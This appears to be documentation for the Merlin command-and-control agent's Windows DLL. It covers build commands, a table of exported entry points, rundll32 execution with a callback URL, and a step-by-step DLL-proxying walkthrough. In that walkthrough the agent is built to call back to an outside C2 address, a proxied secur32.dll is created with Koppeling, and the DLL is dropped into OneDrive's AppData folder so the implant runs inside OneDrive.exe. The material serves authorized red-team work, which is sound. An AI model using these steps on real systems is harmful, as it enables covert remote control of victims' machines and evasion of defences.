merlin.c file is a very simple C file with a single function.
The VoidFunc and Run functions are exported to facilitate executing the DLL.
The VoidFunc function name was specifically chosen to facilitate use with PowerSploit’s
Invoke-ReflectivePEInjection.ps1.
Using VoidFunc requires no modification to run Merlin’s DLL with Invoke-ReflectivePEInjection.
If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.
If the DLL is compiled on Linux, ensure MinGW-w64 is installed.
Creating the DLL
The DLL can be created using the Make file withmake
Alternatively, it can be compiled without Make by following these steps:
-
Create the required C archive file:
go build -buildmode=c-archive main.go -
Compile the DLL:
gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32
DLL Entry Points
This table catalogs the exported functions formerlin.dll that can be used as an entry point when executing the DLL.
| Exported Function | Status | Notes |
|---|---|---|
| Run | Working | Main function to execute Merlin agent |
| DllInstall | Partial | Used with regsvr32.exe /i . Handling for /i not implemented |
| DllRegisterServer | Working | Used with regsvr32.exe |
| DllUnregisterServer | Working | Used with regsvr32.exe /u |
| ReflectiveLoader | Removed | Used with Metasploit’s windows/manage/reflective_dll_inject module |
| Magic | Working | Exported function in merlin.c; used with sRDI or any other method |
| Merlin | Working | Exported function in main.go |
| VoidFunc | Working | Used with PowerSploit’s Invoke-ReflectivePEInjection.ps1 |
Execution with rundll32.exe
The DLL can be executed on a Windows host using the rundll32.exe program. Examples of usingrundll32 are:
rundll32 merlin.dll,Runrundll32 merlin.dll,Merlinrundll32 merlin.dll,Magic
rundll32 merlin.dll,Run https://yourdomian.com:443/
Passing a custom URL only works when using cmd.exe and fails when using powershell.exe
DLL Hijacking/Proxying with the Merlin DLL Agent
With a little bit of setup, the Merlin DLL agent can be used for DLL Hijacking / Side-loading / Proxying. This is a great technique to get the Merlin agent running in the codespace of a trusted process. The specifics on choosing an executable for DLL proxying are outside the scope of this documentation. Assume that a candidate executable has been identified. In themerlin-agent-dll repo, add a new exported function with an arbitrary name to main.go. Have this function execute the run function with the url argument:
merlin.c source code, add a new function that executes the exported function from main.go:
DllMain entry point. We want to create a thread that will execute the Merlin agent function when the DLL is side-loaded into the process:
husky@dev-kde:~/merlin-agent-dll$ make URL=http://10.10.1.237:8443 PSK=merlin PROTO=http
Let’s assume that we’re targeting the OneDrive.exe program for our DLL Proxy. We know that OneDrive.exe loads secur32.dll from the present working directory during execution.
We can now use a tool like Koppelling to create a proxied DLL:
PS C:\Users\Matt\Desktop\Koppeling> .\NetClone.exe --target 'C:\Users\Matt\Desktop\merlin.dll' --reference 'C:\Windows\system32\secur32.dll' --output 'C:\Users\Matt\Desktop\secur32.dll'
Then, we endeavor to drop our proxied DLL into the OneDrive application directory. Luckily for us, this is in %APPDATA% and we can write to the directory:
C:\Users\Matt\AppData\Local\Microsoft\OneDrive
When the application starts, our proxied DLL is pulled into the process and a thread is executed. Our session is established and our agent lives inside the OneDrive.exe process.